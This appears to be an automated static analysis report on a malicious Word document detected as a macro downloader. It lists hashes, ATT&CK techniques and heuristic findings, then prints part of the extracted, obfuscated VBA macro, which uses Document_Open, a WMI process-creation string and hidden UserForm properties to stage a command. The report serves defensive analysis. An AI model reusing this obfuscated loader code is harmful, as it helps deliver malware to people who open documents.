Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 03c28a60a61ec204…

MALICIOUS

Office (OLE)

229.6 KB Created: 2020-08-14 18:31:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 73b2e2eb6ba96494a890264a2a6558ac SHA-1: deedb23ccd85baf1fdf8d65620c760fd6b2c7b06 SHA-256: 03c28a60a61ec204581fa78f28e3baec87467c83831961614db2fed65da915e9
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of malicious intent. The ClamAV detection 'Doc.Downloader.Sagent-9349865-0' strongly suggests this is a downloader. The VBA script appears to be obfuscated but its structure and the presence of CreateObject point towards it downloading and executing a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-9349865-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9349865-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8256 bytes
SHA-256: 2090cea4c3f7d56b1b46eec424d44f8ba553005b1aecbaa48b428ba4bf002e44
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vudf8xr7exn1u"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Uhsw285hpixjfw.Qlpflwt4d7ra
End Sub


Attribute VB_Name = "Uhsw285hpixjfw"
Attribute VB_Base = "0{899574DB-1D9C-4ADF-99C5-B4067E11EDB9}{782043DF-A6ED-4E1E-8090-5C24328CF083}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Qlpflwt4d7ra()
   Ik0l82w7lpfwj9_z_ = 4
Do While Ik0l82w7lpfwj9_z_ < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ik0l82w7lpfwj9_z_ = Ik0l82w7lpfwj9_z_ + 8: DoEvents
Loop
M83tmg4xnzx9pl98l = Uhsw285hpixjfw.HelpContextId + 100
   Ik0l82w7lpfwj9_z_ = 4
Do While Ik0l82w7lpfwj9_z_ < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ik0l82w7lpfwj9_z_ = Ik0l82w7lpfwj9_z_ + 8: DoEvents
Loop
Msl9smv69iwhpr8 = ChrW(M83tmg4xnzx9pl98l + (100 + 35) / 9)
   Ik0l82w7lpfwj9_z_ = 4
Do While Ik0l82w7lpfwj9_z_ < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ik0l82w7lpfwj9_z_ = Ik0l82w7lpfwj9_z_ + 8: DoEvents
Loop
E4tvldal086h = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Msl9smv69iwhpr8 + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Uhsw285hpixjfw.C3_l0g067eqgu534b + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Ik0l82w7lpfwj9_z_ = 4
Do While Ik0l82w7lpfwj9_z_ < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ik0l82w7lpfwj9_z_ = Ik0l82w7lpfwj9_z_ + 8: DoEvents
Loop
Ou7xdcb7b4dz_fr92 = R6qy1418r2pgi7_(E4tvldal086h)
   Ik0l82w7lpfwj9_z_ = 4
Do While Ik0l82w7lpfwj9_z_ < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ik0l82w7lpfwj9_z_ = Ik0l82w7lpfwj9_z_ + 8: DoEvents
Loop
Set Kb01jbt6bsks1ow1 = CreateObject(Ou7xdcb7b4dz_fr92)
   Ik0l82w7lpfwj9_z_ = 4
Do While Ik0l82w7lpfwj9_z_ < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ik0l82w7lpfwj9_z_ = Ik0l82w7lpfwj9_z_ + 8: DoEvents
Loop
K8jrlzn8572p = Uhsw285hpixjfw.H99yl6uaxoxslp_o_.ControlTipText
   Ik0l82w7lpfwj9_z_ = 4
Do While Ik0l82w7lpfwj9_z_ < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ik0l82w7lpfwj9_z_ = Ik0l82w7lpfwj9_z_ + 8: DoEvents
Loop
A6c5f3wjnd3xhu5dh = H4avxeulk2d0 + (Ou7xdcb7b4dz_fr92 + Msl9smv69iwhpr8 + Uhsw285hpixjfw.Wxkvogbsdxvz4.ControlTipText + K8jrlzn8572p)
   Ik0l82w7lpfwj9_z_ = 4
Do While Ik0l82w7lpfwj9_z_ < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ik0l82w7lpfwj9_z_ = Ik0l82w7lpfwj9_z_ + 8: DoEvents
Loop
Tbrppg5ppobp3w = A6c5f3wjnd3xhu5dh + Uhsw285hpixjfw.C3_l0g067eqgu534b
   Ik0l82w7lpfwj9_z_ = 4
Do While Ik0l82w7lpfwj9_z_ < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKT
... (truncated)